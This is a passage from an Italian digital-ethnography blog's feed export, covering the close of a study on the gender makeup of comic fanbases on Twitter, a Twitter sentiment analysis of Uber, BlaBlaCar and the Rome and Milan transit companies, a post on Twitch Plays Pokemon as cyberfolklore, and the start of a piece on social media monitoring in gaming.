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<p><a href="http://www.etnografiadigitale.it/wp-content/uploads/2015/06/Tab11.png"><img loading="lazy" decoding="async" class="  wp-image-6494 aligncenter" src="http://www.etnografiadigitale.it/wp-content/uploads/2015/06/Tab11.png" alt="" width="458" height="275" srcset="https://www.etnografiadigitale.it/wp-content/uploads/2015/06/Tab11.png 750w, https://www.etnografiadigitale.it/wp-content/uploads/2015/06/Tab11-300x180.png 300w" sizes="auto, (max-width: 458px) 100vw, 458px" /></a></p>
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<p>Infatti, Marvel con il 36.5% di fan donne stacca di otto punti il principale competitor, DC per quanto riguarda la diversità di genere, Dark Horse, la più grande fra le indipendenti ha un profilo non dissimile da quello di DC; per quanto riguarda le case di produzione minori la proporzione di fan donne è sensibilmente più bassa: Vertigo ha la percentuale più alta con il 23%. Guardando brevemente alla presenza su Twitter dei prodotti cinematorgrafici delle major del fumetto i risultati confermano sostanzialmente l’analisi precedente: i profili ufficiali di Avengers e X Men hanno, rispettivamente il 38% ed il 36% di fan donne mentre il profilo del film DC di prossima uscita ‘Batman vs Superman’ ha solo il 22% di fan donne.</p>
<p>Ci troviamo di fronte ad una strategia che non solo in termini di vendite ma in termini di rinnovamento del fanbase porta benefici notevoli: Marvel produce storie differenti poiché ha una fanbase diversificata a cui rendere conto.<br />
Le ragioni di questa convergenza sono molteplici. Indubbiamente esiste una sensibilità collettiva nei confronti della <strong>diversità</strong> che produce una domanda di narrativa, tuttavia è osservando al lato cinematografico del patrimonio narrativo Marvel che si coglie un fattore fondamentale: nel periodo 2000-2015 contando tutti i film a tema supereroistico è possibile notare che Marvel produce poco meno della metà di tutte le pellicole<sup>4</sup>, con un’accelerazione notevole della produzione dopo l’acquisizione da parte di <a href="http://money.cnn.com/2009/08/31/news/companies/disney_marvel/" target="_blank">Disney</a>.</p>
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<p>&nbsp;</p>
<p><a href="http://www.etnografiadigitale.it/wp-content/uploads/2015/06/Fig.21.png"><img loading="lazy" decoding="async" class="  wp-image-6496 aligncenter" src="http://www.etnografiadigitale.it/wp-content/uploads/2015/06/Fig.21.png" alt="Un’indagine Twitter sulla composizione di genere della fanbase di Marvel, DC, Dark Horse, Vertigo, Oni, Image" width="540" height="324" srcset="https://www.etnografiadigitale.it/wp-content/uploads/2015/06/Fig.21.png 751w, https://www.etnografiadigitale.it/wp-content/uploads/2015/06/Fig.21-300x180.png 300w" sizes="auto, (max-width: 540px) 100vw, 540px" /></a></p>
<p>&nbsp;</p>
<p>Il volume della strategia giocata da Marvel è ancora più evidente se consideriamo gli incassi al botteghino: la Major porta a casa i quasi due terzi dei ricavi complessivi.</p>
<h3>Conclusioni</h3>
<p>Diviene chiaro che Marvel sta perseguendo una strategia precisa in cui il veicolo cinematografico funge da cardine per allargare la propria fanbase, non solo su scala globale ma anche in <strong>demografiche</strong> completamente <strong>differenti</strong>, includendo sia donne che minoranze etniche; DC che è una sussidiaria di Time Warner sembra perseguire la medesima strada ma con minore dispiegamento di mezzi e convinzione. Siamo indubbiamente di fronte a strategie culturali giocate da megacorporations su di uno scacchiere planetario, per questo, pur senza considerarne il contenuto in termini di giustizia sociale, diventa importante un episodio come il lancio di Ms. Marvel poiché se il mercato è effettivamente planetario e i Vendicatori possono diventare un prodotto culturale disponibile a uomini e donne di cultura anglosassone sud-europea o, putacaso, pakistana può diventare molto sensato investire in un icona culturale capace di fare da ‘ambasciatore’, stessa cosa può valere per le demografiche femminili o <a href="http://comicsalliance.com/mutant-proud-xmen-lgbt-rights-family-community-identity/" target="_blank">GLBTQ</a>.</p>
<p>Ciò che stiamo osservando è una componente specifica del mainstreaming della cultura geek, ciò che prima era proprietà ossessiva ed esclusiva di una fanbase culturalmente e demograficamente omogenea oggi viene riletto e reinterpretato da un <strong>pubblico più vasto</strong> ed ampio, paradossalmente – ma nemmeno troppo visto quanto detto prima – si tratta di un qualcosa in cui i giganti dell’intrattenimento sono, almeno da un punto di vista strettamente quantitativo, in vantaggio, ma è indubbio che nel 2015 il fandom dei comics sia uscito, una volta per tutte dalla ‘man-cave’ in cui era rintanato da decenni.</p>
<p style="text-align: right;"><em>Articolo di Guido Anselmi</em> (@novemillimetri)</p>
<h6 style="text-align: left;">Note</h6>
<h6>1.Significativamente uno dei pochissimi autori donna – si stima siano circa il 10% – e per di più musulmana</h6>
<h6>2.Vertigo è tecnicamente parte di DC, tuttavia da tempo segue una linea editoriale completamente indipendente</h6>
<h6>3.Si tratta di profili da milioni di followers il che rende difficoltoso il recupero di tutti gli account, quindicimila utenti rappresentano un compromesso necessario fra rappresentatività del campione e tempo macchina necessario a recuperare i profili utente</h6>
<h6>4.Escludendo le produzioni originali, ossia quei film di supereroi che non hanno un rapporto di filiazione diretto con una proprietà intellettuale preesistente, Marvel produce poco meno dei tre quarti dell’intero genere cinematografico</h6>
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		<item>
		<title>Sentiment Analysis di Uber, BlaBlaCar, ATM e ATAC: il consumatore percepisce realmente l’importanza della “sostenibilità” nel settore dei trasporti?</title>
		<link>https://www.etnografiadigitale.it/sentiment-analysis-uber-blablacar-atm-atac-consumatore-percepisce-realmente-limportanza-sostenibilita-nel-settore-dei-trasporti/</link>
		
		<dc:creator><![CDATA[Giorgio Pallucchini]]></dc:creator>
		<pubDate>Wed, 21 Jan 2015 09:46:00 +0000</pubDate>
				<category><![CDATA[Home Page]]></category>
		<category><![CDATA[alessandro caliandro]]></category>
		<category><![CDATA[etnografia digitale]]></category>
		<category><![CDATA[netografia]]></category>
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<p><a href="http://www.etnografiadigitale.it/wp-content/uploads/2015/01/Desktop31.jpg"><img loading="lazy" decoding="async" class="alignnone size-medium wp-image-6441" src="http://www.etnografiadigitale.it/wp-content/uploads/2015/01/Desktop31-300x240.jpg" alt="Desktop3" width="300" height="240" srcset="https://www.etnografiadigitale.it/wp-content/uploads/2015/01/Desktop31-300x240.jpg 300w, https://www.etnografiadigitale.it/wp-content/uploads/2015/01/Desktop31-1024x819.jpg 1024w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a></p>
<p>&nbsp;</p>
<p>In questo articolo presentiamo i risultati di una <strong>Sentiment Analysis</strong>, svolta su dati <strong>Twitter,</strong> volta ad indagare la percezione ed il livello di consapevolezza degli utenti relativamente al concetto di sostenibilità in tema di mobilità. Nel presente articolo indaghiamo la percezione della sostenibilità in tema di mobilità sia nella sua accezione classica, ovvero riferita ai mezzi di trasporto pubblico, che in quella innovativa, ovvero riferita ai servizi di <strong>carpooling</strong>, che negli ultimi anni hanno visto una diffusione sempre più consistente.</p>
<p>Nello specifico la nostra analisi si è occupata di studiare due tipologie di trasporto: il trasporto pubblico locale nelle città di <strong>Roma</strong> e <strong>Milano</strong> e due nuove modalità di trasporto sostenibile emergenti: <strong>Uber</strong> e <strong>BlaBlaCar</strong>.</p>
<p>Sostanzialmente dall’analisi emergono due dati di particolare interesse: da una parte si rileva una generalizzata insoddisfazione da parte degli utenti nei confronti dei servizi offerti da <a href="http://www.atm.it/it/Pagine/default.aspx">Atm</a> e <a href="http://www.atac.roma.it/">Atac</a>, mentre dall’altra, in maniera quasi speculare, emerge grande interesse e curiosità verso <a href="http://www.blablacar.it/">BlaBlaCar</a> ed <a href="https://www.uber.com/">Uber</a>. In particolare BlaBlaCar si rivela essere un brand capace di suscitare grande entusiasmo, sia negli utenti Twitter in generale che nei suoi diretti consumatori, mentre Uber si rivela essere invece un brand <strong>controverso</strong>, che catalizza intorno a sé un acceso dibattito venato da toni principalmente polemici.</p>
<p>&nbsp;</p>
<h2><strong>Base dati</strong></h2>
<p>&nbsp;</p>
<p>Il database utilizzato per il nostro studio comprende <strong>17662</strong> <strong>tweet</strong> contenenti gli <em>hashtag</em> “Uber”, “BlaBlaCar”, “ATM” e “ATAC”. Da questo dataset abbiamo estratto casualmente un campione di <strong>1766</strong> <strong>tweet</strong> (esattamente il 10% del totale) su cui abbiamo basato la nostra analisi. Un totale di 517 tweet analizzati è risultato invece <em>off-topic</em>.</p>
<p>&nbsp;</p>
<h2><strong>Sentiment generale dei 4 brand</strong></h2>
<p>&nbsp;</p>
<p><a href="http://www.etnografiadigitale.it/wp-content/uploads/2015/01/sentiment-uber.png"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-6412" src="http://www.etnografiadigitale.it/wp-content/uploads/2015/01/sentiment-uber.png" alt="sentiment uber" width="490" height="300" srcset="https://www.etnografiadigitale.it/wp-content/uploads/2015/01/sentiment-uber.png 490w, https://www.etnografiadigitale.it/wp-content/uploads/2015/01/sentiment-uber-300x183.png 300w" sizes="auto, (max-width: 490px) 100vw, 490px" /></a></p>
<p>&nbsp;</p>
<p>Dal grafico a torta emerge un interessante equilibrio tra tweet <em>positivi</em> (20%) e <em>negativi</em> (22%), cosa che conferma la natura controversa del brand e, soprattutto, rispecchia la diffusa polemica, scaturita in questo periodo, relativamente al suo servizio.</p>
<p><em>“100% stima e supporto a @Uber_Roma @Uber_Milano. Un&#8217;altra occasione persa in questo Paese, per valorizzare competizione?”</em></p>
<p><em>“Con un&#8217;applicazione da due soldi Uber concede licenze a cani e porci purché abbiano un cellulare e un&#8217;auto ma a condizione che gli paghino una tangente</em></p>
<p>E’ anche presente una parte consistente di tweet <em>neutrali</em> (52%) dovuta all’intensa attività promozionale degli account ufficiali <em>(@Uber_Roma, @Uber_Milano, @Uber_Ital)</em> di questa applicazione. Infine troviamo una piccola percentuale di <em>question</em> (6%) relativa a quegli utenti che – con i loro tweet – chiedono informazioni sul servizio agli account ufficiali della società oppure ad altri utenti. Una percentuale bassa se consideriamo l’entrata recente nel mercato da parte di questo colosso statunitense, la poca chiarezza riguardo al servizio, le discutibili politiche adottate, la legalità di questa attività e il posizionamento dell’impresa negli altri mercati europei.</p>
<p>&nbsp;</p>
<p><a href="http://www.etnografiadigitale.it/wp-content/uploads/2015/01/sentiment-atac.png"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-6415" src="http://www.etnografiadigitale.it/wp-content/uploads/2015/01/sentiment-atac.png" alt="sentiment atac" width="492" height="308" srcset="https://www.etnografiadigitale.it/wp-content/uploads/2015/01/sentiment-atac.png 492w, https://www.etnografiadigitale.it/wp-content/uploads/2015/01/sentiment-atac-300x187.png 300w" sizes="auto, (max-width: 492px) 100vw, 492px" /></a></p>
<p>Anche in questo caso emerge una discreta percentuale di tweet <em>neutrali</em> (38%), dovuta ad una modesta attività promozionale delle due compagnie di trasporto, che risulta inferiore a quella presente nella prima “torta” visualizzata. E’ importante sottolineare l’elevata percentuale  di tweet <em>negativi</em> (29%), che testimonia la profonda insoddisfazione da parte degli utenti relativa ai trasporti pubblici. Questa tesi è avvalorata anche dalla bassa percentuale di tweet <em>positivi</em> (10%), che rappresenta una piccola minoranza di individui soddisfatti del servizio offerto.</p>
<p><em>“E piove anche dentro la stazione. </em><em>#amen #metroC #romaèfracica @InfoAtac @DisinfoATAC.”</em></p>
<p><em>“@atm_informa bello il nuovo percorso in centrale per andare alla MM. Peccato che avete, come al solito,  risparmiato sugli avvisi ai clienti” Cit.Utente Twitter</em></p>
<p>Un dato sorprendente è rappresentato dal numero di <em>question</em> che, con una percentuale di 23%, contengono tutti i tweet relativi a domande su rimodulazioni del servizio, interruzioni, rallentamenti, etc. indirizzate alle due compagnie. Questa è una tendenza che fa riflettere e che dimostra una particolare attenzione degli utenti relativa ai servizi offerti, probabilmente derivata dai parecchi disservizi verificatisi negli ultimi anni che impediscono loro l’utilizzo regolare del servizio.</p>
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<p><a href="http://www.etnografiadigitale.it/wp-content/uploads/2015/01/blbabasent.png"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-6459" src="http://www.etnografiadigitale.it/wp-content/uploads/2015/01/blbabasent.png" alt="blbabasent" width="498" height="306" srcset="https://www.etnografiadigitale.it/wp-content/uploads/2015/01/blbabasent.png 498w, https://www.etnografiadigitale.it/wp-content/uploads/2015/01/blbabasent-300x184.png 300w" sizes="auto, (max-width: 498px) 100vw, 498px" /></a></p>
<p>Dal grafico emerge un 46% di tweet <em>positivi</em>, a conferma del fatto che questo servizio possiede una diffusa percezione positiva nel web. E’ presente una piccola percentuale di tweet <em>negativi</em> (4%), dove da una parte ci sono utenti che confondono il servizio di BlaBlaCar con quello di Uber e dall’altra utenti che hanno riscontrato disservizi durante il viaggio. Vediamone un esempio:</p>
<p><em>@enzo*****: “@blablacarIT c&#8217;è gente che paga le tasse per fare l&#8217;autista! Ci sono dei professionisti che devono lavorare!”</em></p>
<p>Pronta la risposta di BlaBlaCar:</p>
<p><em>“@enzo***** concordiamo. Ecco perché non abbiamo autisti, perché non è un lavoro e perché con BlaBlaCar non si guadagna. E&#8217; molto diverso.”</em></p>
<p>Da notare un’elevata percentuale di messaggi <em>neutrali</em> dovuta anche qui ad un’intensa attività promozionale di BlaBlaCar (41%). Infine troviamo una piccola percentuale di <em>question</em> (9%) composta da utenti che chiedono informazioni relative al servizio o alle politiche adottate dalla società.</p>
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<h2><strong>Sentiment suddiviso per Topic</strong></h2>
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<h2></h2>
<h2></h2>
<p>I <strong>topic</strong> individuati, attraverso cui abbiamo segmentato il sentiment, riguardano sia aspetti relativi alla funzionalità e l’utilizzo di questi servizi di trasporto, che aspetti riguardanti la percezione degli utenti nei confronti delle entità analizzate. I topic più ricorrenti sono: &#8220;<em>comfort&#8221;</em>, &#8220;<em>avvisi&#8221;</em>, &#8220;<em>portavoce&#8221;</em>, &#8220;<em>servizi&#8221;</em>, &#8220;<em>customer</em> <em>care&#8221;</em>, &#8220;<em>legalità&#8221;</em>, &#8220;<em>servizio&#8221;</em>, &#8220;<em>promozione&#8221;</em>, &#8220;<em>affection&#8221;</em>, &#8220;<em>politiche&#8221;</em> e &#8220;<em>viaggio&#8221;</em>.</p>
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<p><a href="http://www.etnografiadigitale.it/wp-content/uploads/2015/01/topic-uber.png"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-6418" src="http://www.etnografiadigitale.it/wp-content/uploads/2015/01/topic-uber.png" alt="topic uber" width="614" height="360" srcset="https://www.etnografiadigitale.it/wp-content/uploads/2015/01/topic-uber.png 614w, https://www.etnografiadigitale.it/wp-content/uploads/2015/01/topic-uber-300x175.png 300w" sizes="auto, (max-width: 614px) 100vw, 614px" /></a></p>
<p>Dal grafico si evidenzia l’enorme disomogeneità del <em>sentiment</em> tra i topic. Emergono molti commenti positivi per il <em>servizio</em> e per <em>l’affection,</em> tuttavia ci sono altrettanti commenti negativi attinenti alle <em>politiche</em> e alla <em>legalità</em> dell’attività. Non ci sono tantissime opinioni riguardo alle esperienze di <em>viaggio</em>.</p>
<p>Affiora un’effettiva consapevolezza del consumatore riguardo l’alto livello qualitativo del servizio, a differenza dei taxi e dei noleggi con conducente. E’ presente anche una percezione fortemente positiva del brand Uber (topic <em>affection</em>): questo risulta essere un dato sorprendente se si considera l’intenso accanimento mediatico che ha subìto il brand negli ultimi anni, a conferma che i cittadini in rete hanno percepito questa innovazione introdotta nel mercato come un fattore positivo che sicuramente dovrà essere regolamentato ed adattato al mercato italiano. L’obiettivo di Uber potrà essere quello di cercare di non incorrere in comportamenti sleali o non concorrenziali nei confronti di altre entità che svolgono il servizio.</p>
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<p><a href="http://www.etnografiadigitale.it/wp-content/uploads/2015/01/topic-uber3.png"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-6425" src="http://www.etnografiadigitale.it/wp-content/uploads/2015/01/topic-uber3.png" alt="topic uber" width="568" height="364" srcset="https://www.etnografiadigitale.it/wp-content/uploads/2015/01/topic-uber3.png 568w, https://www.etnografiadigitale.it/wp-content/uploads/2015/01/topic-uber3-300x192.png 300w" sizes="auto, (max-width: 568px) 100vw, 568px" /></a></p>
<p>Il topic <em>customer care</em> è sicuramente quello più ricorrente di tutti, infatti dalla ricerca emergono moltissime interazioni tra gli utenti e gli account delle due compagnie. Troviamo cittadini che chiedono informazioni sull’operatività del servizio e le compagnie che forniscono suggerimenti relativi al trasporto, anche se non sempre i dialoghi tra questi account sono idilliaci (da notare quella percentuale di negatività che corrisponde all’insieme di lamentele fatte dagli utenti direttamente alle due imprese di trasporto). Relativamente al topic <em>customer care</em> è importante rilevare l’alta percentuale di <em>question</em> che evidenzia un elevato interesse del cittadino in tema di trasporti pubblici, mentre la più alta percentuale di negatività la troviamo nel topic <em>comfort</em> a dimostrazione di una notevole insoddisfazione dei cittadini romani e milanesi che si spostano con i mezzi pubblici e che si lamentano dell’esperienza di viaggio.</p>
<p>&nbsp;</p>
<p><a href="http://www.etnografiadigitale.it/wp-content/uploads/2015/01/blbaba.png"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-6455" src="http://www.etnografiadigitale.it/wp-content/uploads/2015/01/blbaba.png" alt="blbaba" width="568" height="352" srcset="https://www.etnografiadigitale.it/wp-content/uploads/2015/01/blbaba.png 568w, https://www.etnografiadigitale.it/wp-content/uploads/2015/01/blbaba-300x185.png 300w" sizes="auto, (max-width: 568px) 100vw, 568px" /></a></p>
<p>In questo caso c’è una diffusa compattezza di messaggi <em>positivi</em> per ogni topic, in particolare per i topic <em>affection</em>, <em>servizio</em> e <em>viaggio</em>. Soffermandoci su quest’ultimo c’è da notare una forte tendenza degli utenti nel descrivere l’esperienza di viaggio appena svolta. Percepito positivamente è anche il <em>servizio</em> visto in prospettiva generale dagli utenti i quali lo descrivono con entusiasmo, rivolgendosi ad un vasto pubblico, partendo dall’assunto che ancora non è presente una grande conoscenza da parte dell’opinione pubblica relativa a Blablacar.</p>
<p>Riguardo alle <em>politiche</em> sono da sottolineare i casi in cui molti individui confondono il servizio offerto da BlaBlaCar con quello di Uber: è per questo motivo che perciò ritroviamo una modesta percentuale di commenti negativi su questa tematica.</p>
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<h2><strong>Conclusioni</strong></h2>
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<p>Cosa emerge da questa analisi? Innanzitutto emerge quella generale <strong>insoddisfazione</strong> dei cittadini di Roma e Milano relativa ai servizi offerti dalle due compagnie di <strong>trasporto pubblico.</strong></p>
<p>L’analisi su <strong>BlaBlaCar</strong>, al contrario, ha fatto riscontrare un’imponente ondata di <strong>entusiasmo</strong> da parte degli utenti della rete, condita da tweet che parlano di BlablaCar come un’esperienza da non perdere ed altri in cui vengono spiegate le modalità del servizio a soggetti che non le conoscono. Emerge, quindi, questo assoluto <strong>entusiasmo nel raccontare l’esperienza di viaggio con BlaBlaCar</strong> a conferma dell’impennata di reputazione che il marchio ha avuto negli ultimi anni.</p>
<p>Invece per quanto riguarda <strong>Uber</strong> il risultato è diverso, infatti i processi culturali che si sono instaurati nella rete, attorno a questo brand, rispecchiano chiaramente la <strong>polemica</strong> attuale verso questa applicazione, relativa all’incertezza sull’esercizio di questa attività, agli aspetti legali e alle politiche che sono state articolate in  questi anni.</p>
<p>Il dato che è emerso, pertanto, mostra un’evidente <strong>disinformazione</strong> relativa ai servizi di <strong>carpooling</strong> che si tramuta in una mancata consapevolezza degli utenti, relativa agli effetti benefici che si potrebbero ottenere per l’ambiente e le tasche dei cittadini. Grazie a questa analisi si è evidenziato che parole chiave come <strong><em>carpooling</em>, <em>carsharing</em>, <em>sostenibilità</em> vengono utilizzate, nella maggior parte dei casi, dagli account ufficiali di queste compagnie, per fini promozionali</strong>. La ricerca ha posto in evidenza il “<em>modus</em> <em>vivendi</em>” di diversi utenti, infatti gli stessi attraverso un atteggiamento di disinformazione, hanno manifestato di essere ancora poco informati sulle novità del settore trattato. Ma quel che colpisce è che gli stessi hanno dimostrato, poca consapevolezza circa gli effetti benefici inerenti alla sostenibilità ambientale. Dall’analisi, infatti, quel processo di tipo <em>bottom</em>–<em>up</em>,  su quei <strong>fattori ambientali</strong> connessi alla mobilità, <strong>non</strong> è <strong>apparso.</strong> Sembra che ci si <strong>limiti</strong> solamente <strong>al fattore economico</strong>, anch’esso importante senza dubbio, ma incompleto. Incompleto, perché il concetto di sostenibilità è composto da tre fattori interconnessi: <strong>economico, sociale</strong> ed <strong>ambientale.</strong> Occorre in tal senso verificare gli effetti di questo nuovo modo di viaggiare, e studiare quel potenziale infinito che hanno questi servizi di <em>carpooling</em>, tutelando qualunque innovazione che sia in grado di far nascere un amore per l’ambiente e per la socializzazione degli individui (tenendo conto anche del fattore economico), nell’ottica di aumentare di molto la felicità ed il benessere dei cittadini.</p>
<p>La domanda che ci si pone allora, riferendoci a <strong>Uber,</strong> può essere: <em>è giusto applicare una politica promozionale che abbia come oggetto il guadagno del cittadino nell’offrire questo servizio invece che rafforzare il concetto di sostenibilità insito nel servizio stesso?</em></p>
<p>Per quanto riguarda <strong>BlaBlaCar</strong> invece ci domandiamo: <em>e  se le politiche di BlaBlaCar fossero in qualche modo riprese dai Comuni di Roma e Milano, ad esempio aprendo  una divisione all’interno della propria struttura aziendale, che si occupasse esclusivamente del covetturaggio facendo concorrenza a Uber?</em>  In questo modo l’ente svolgerebbe esclusivamente attività di intermediazione tra i cittadini, senza assumere alcun autista e le fonti di finanziamento verrebbero dalle pubblicità inserite nel sito e da una piccola commissione per l’intermediazione svolta. Dal canto loro i cittadini, invece, svolgerebbero un’attività sostenibile per la propria città, aumentando notevolmente il tasso di occupazione delle automobili.</p>
<p>Certo le nostre sono solo suggestioni estemporanee, che rispecchiano il nostro modello ideale di società e non delle vere e proprie linee guida per politiche concrete<em>. </em>Tuttavia perché non provare a fare almeno un piccolo passo in questo senso? Voi cosa ne pensate, e soprattutto, cosa proponete?</p>
<p><em> </em></p>
<p><em> </em></p>
<p><em>Articolo di Giorgio Pallucchini (<a href="@giorgiopall">@giorgiopall</a>) e Alessandro Caliandro (<a href="@Caliviral">@caliviral</a>)</em><br />
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		<title>Twitch Plays Pokemon: a netnographic approach to cyberfolklore</title>
		<link>https://www.etnografiadigitale.it/twitch-plays-pokemon-cyberfolklore/</link>
		
		<dc:creator><![CDATA[Massimo Airoldi]]></dc:creator>
		<pubDate>Tue, 16 Dec 2014 10:12:43 +0000</pubDate>
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										<content:encoded><![CDATA[<p><a href="http://www.etnografiadigitale.it/wp-content/uploads/2014/12/image1.jpg"><img loading="lazy" decoding="async" class="aligncenter  wp-image-6392" src="http://www.etnografiadigitale.it/wp-content/uploads/2014/12/image1.jpg" alt="twitch plays pokemon" width="606" height="366" srcset="https://www.etnografiadigitale.it/wp-content/uploads/2014/12/image1.jpg 960w, https://www.etnografiadigitale.it/wp-content/uploads/2014/12/image1-300x181.jpg 300w" sizes="auto, (max-width: 606px) 100vw, 606px" /></a></p>
<p>We are glad to present here a brand new article written for CSED’s readers by <strong>Diego Alonso Huerta J.</strong>, a young virtual ethnographer based in Helsinki.</p>
<p>It consists in an innovative methodological proposal for the study of a fascinating online social phenomenon: <strong>Twitch Plays Pokemon</strong> (TPP), a mass played videogame experience that involved users from all around the world and, more interestingly, surpassed the creative limits and meanings intended for the original Pokemon Red game, creating a whole new universe of signifiers interpretable only to participants – what the author describes as a form of “<strong>cyberfolklore</strong>”. Here is an introductory excerpt from the article (<a title="twitch plays pokemon article" href="http://www.etnografiadigitale.it/wp-content/uploads/2014/11/Twitch-Plays-Pokemon-Article1.pdf">downloadable pdf here</a>):</p>
<p>“On February 12th, 2014 the webpage www.twitch.tv (Twitch) decided to stream an online version of Pokemon Red that lasted for approximately 16 days, with the particularity that it could be played by all users at the same time. Twitch is a site focused on videogaming, allowing users to stream and watch videos of people playing, along with a chat interface that can be used to communicate. Streams include not only the videogame screen, but usually also a video of the players’ reactions as they play. […] This crowdsourced gameplay was intended to be a “social experiment” that drew on the infinite monkey theorem; namely, that if a monkey were given an infinite amount of time to randomly hit keys in a typewriter, it would eventually end up writing the complete works of William Shakespeare. In this case, the premise was that if thousands of users input mostly contradictory commands simultaneously, they would by and by end up beating the game anyway. […] However, far from demotivating players from continuing with the game, these peculiarities fostered the emergence of creative interpretations of such unpredictable and random events, creating a whole mythology to explain them”. For instance: “after receiving his first pokemon, the character (named “RED”) acquired some more, usually renaming them after capturing them. Two names are important so far: “JLVWNNOOOO” and “ABBBBBBK(” (the starter pokkemon); or “Jay Leno” and “Abby”, respectively. These names are just a random sequence of characters because of the lack of capacity to coordinate planned commands in this game; at the same time, the community re-renamed the creatures outside the tight parameters of the program, based on the letters that were chaotically chosen”.</p>
<p><a href="http://www.etnografiadigitale.it/wp-content/uploads/2014/12/image2.jpg"><img loading="lazy" decoding="async" class="aligncenter  wp-image-6393" src="http://www.etnografiadigitale.it/wp-content/uploads/2014/12/image2.jpg" alt="cyberfolklore" width="604" height="473" srcset="https://www.etnografiadigitale.it/wp-content/uploads/2014/12/image2.jpg 876w, https://www.etnografiadigitale.it/wp-content/uploads/2014/12/image2-300x234.jpg 300w" sizes="auto, (max-width: 604px) 100vw, 604px" /></a></p>
<p>At first sight, this may seem just nerdish stuff: why should we sociologically care about thousands of video-gamers playing together Pokemon Red while collectively, randomly inventing new names and mythologies about the characters? Well, there are several good reasons for caring a lot.</p>
<p><strong>First</strong>, Twitch Plays Pokemon is a matter of collective action, a metaphor for broader and more familiar social and political processes: “as the game progressed, ideological issues started to arise regarding a “debate” between “anarchy” and “democracy”: when the players reached a seemingly never-ending puzzle, the programmers decided to incorporate an option for constantly voting for either continuing with the same chaotic input, or rather performing the mode command out of ten consecutive inputs”.</p>
<p><strong>Second</strong>, this collective action is technologically mediated and digitally situated, being enacted in in a specific online context, with given communicative constraints and affordances, and in a limited period of time. This entails stimulating methodological implications, brilliantly addressed by the author:</p>
<p>“Let us imagine that no trace of kula was left nowadays, or that we were only interested in its “classic” version, for that matter. We would be constrained to a historiographical study of these people that Malinowski interacted with so many years ago, mostly drawing on the existing archives regarding this topic. Their voices, thus, could only be accessed from the present by means of appealing to a discourse that has already interpreted the original data. Nevertheless, the players of TPP are still alive and most probably still gaming. Thus, even though it was a community that only existed within a very specific realm in a virtual space timed in the past, it is also a community that can be reintegrated, at least partially, in order to recreate a sample of what existed a few months ago. Ethnography (or “<strong>netnography</strong>”), in other words, is still plausible. In short, we can do this by making use of the same platform that made TPP possible: Twitch. As we mentioned before, it allows users to live stream themselves discussing matters related to videogames (what they call talk shows), having the chat interface as a means to obtain virtually immediate feedback. In theory, with the proper hardware and equipment, it would even be possible to receive voice calls live. The proposal, then, is to ask for permission from Twitch in order to conduct what we will from now on call a “live streamed inquiry”; consisting of an elicitation of images and videos presented in the streaming, along with questions proposed by the researcher and eventually answers to the questions and comments raised by the informants. Ideally, then, it could be possible to have some of the former participants of TPP to engage in our experiment”.</p>
<p><strong>Third</strong>, Twitch Plays Pokemon is more than online gaming: it is a small world in action, a provisional tribe of users that in sixteen days generated a shared culture by means of a chaotic and casual interplay between individual practices, aggregated outcomes and technology. A form of “cyber-folklore”, as concrete and inter-subjectively real as any other offline-based cultural narrative:</p>
<p>“We see that a history was created and not only a story. In other words, while the original storyline was complemented with additional elements, special moments were also registered in the memories of the players because they became meaningful to them. In addition, other virtual platforms (such as YouTube, Facebook, Reddit, Deviantart and 4Chan) were used to create images and texts that reproduced this metagame. Eventually, even concrete, tangible cultural products such as graffiti on physical spaces were created.”</p>
<p>To conclude with the author’s words:</p>
<p>“In short, then, we allege that TPP, a crowdsourced way of playing Pokemon Red that took place in a finite time and within a particular online platform, gave rise to a <strong>metagame</strong> or original system of meanings that is shared only by those playing together, which can be conceived as a modern day equivalent of folklore; and can be studied at its most by using the same platform that allowed it to exist in the first place. How exactly? By using a live streaming interface embedded within the Twitch web page, with the very same chat mechanism that gave birth to the phenomenon we want to study. The method, thus, would consist of streaming ourselves into a video session – what Twitch calls a “talk show” – where our informants, the viewers, can give us feedback by means of typing their answers, thoughts, opinions and questions into the chat window. In such a way, we merge into the same environment as them, and approach them from the inside as an ethnographer would do with a community within a physical space.”</p>
<p>&nbsp;</p>
<p><em>Massimo Airoldi (@massimoairoldi)</em></p>
<p><em>Diego Alonso Huerta J. is an anthropologist. He has studied at Pontificia Universidad Católica del Perú and written his thesis about (Neo)paganism as a new form of religiosity in Lima. He is now working on an article about how (neo)pagans in Lima use virtual spaces to overcome discrimination in hyperregulated public spaces. He is also working on his thesis for his MA degree (Religious Roots of Europe), which is about the use of sources such as &#8220;ancient graffiti&#8221; left by pilgrims in catacombs in order to access popular voices concerning early Christianity. He is interested in the study of religion in general, in methodology and in researching about identities, ritual, folklore, use of spaces. </em></p>
<p>&nbsp;</p>
<p><a href="http://www.etnografiadigitale.it/wp-content/uploads/2014/11/Twitch-Plays-Pokemon-Article1.pdf">Twitch Plays Pokemon Article</a><br />
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		<title>Videogiochi e Web 2.0: Il Social Media Monitoring come futuro per l’industria del Gaming?</title>
		<link>https://www.etnografiadigitale.it/etnografia-digitale-videogames-lascolto-rete-come-spunto-per-sviluppo-gaming/</link>
		
		<dc:creator><![CDATA[David Consolazio]]></dc:creator>
		<pubDate>Tue, 09 Dec 2014 14:41:52 +0000</pubDate>
				<category><![CDATA[Home Page]]></category>
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<h2>Introduzione</h2>
<p>Qualsiasi appassionato di <em>videogames</em>, incollato allo schermo di fronte al suo videogioco preferito, avrà passato del tempo a pensare ai diversi <strong>suggerimenti</strong> che potrebbe fornire alla azienda produttrice in vista di una <strong>nuova uscita</strong>, vantando una <strong>conoscenza</strong> che solo e soltanto un vero <strong>cultore</strong>, <strong>amante</strong> e <em><strong>addicted</strong> </em>può generare, e che aspetta solo di essere messa in pratica.</p>
<p>Ma mettersi in contatto con la <strong>Rockstar</strong> <strong>Games</strong> o l’<strong>Electronic Arts</strong> di turno è pura utopia, e i nostri sogni di prendere parte attivamente allo sviluppo di <strong>GTA</strong> o <strong>FIFA</strong> rimangono relegati in fondo a un cassetto, e non possiamo fare altro che attendere una nuova <em>release</em> sperando che le ultime <strong>implementazioni</strong> siano all&#8217;altezza delle nostre aspettative (e spesso ciò non accade).</p>
<h2>Product Development e Value Co-Creation</h2>
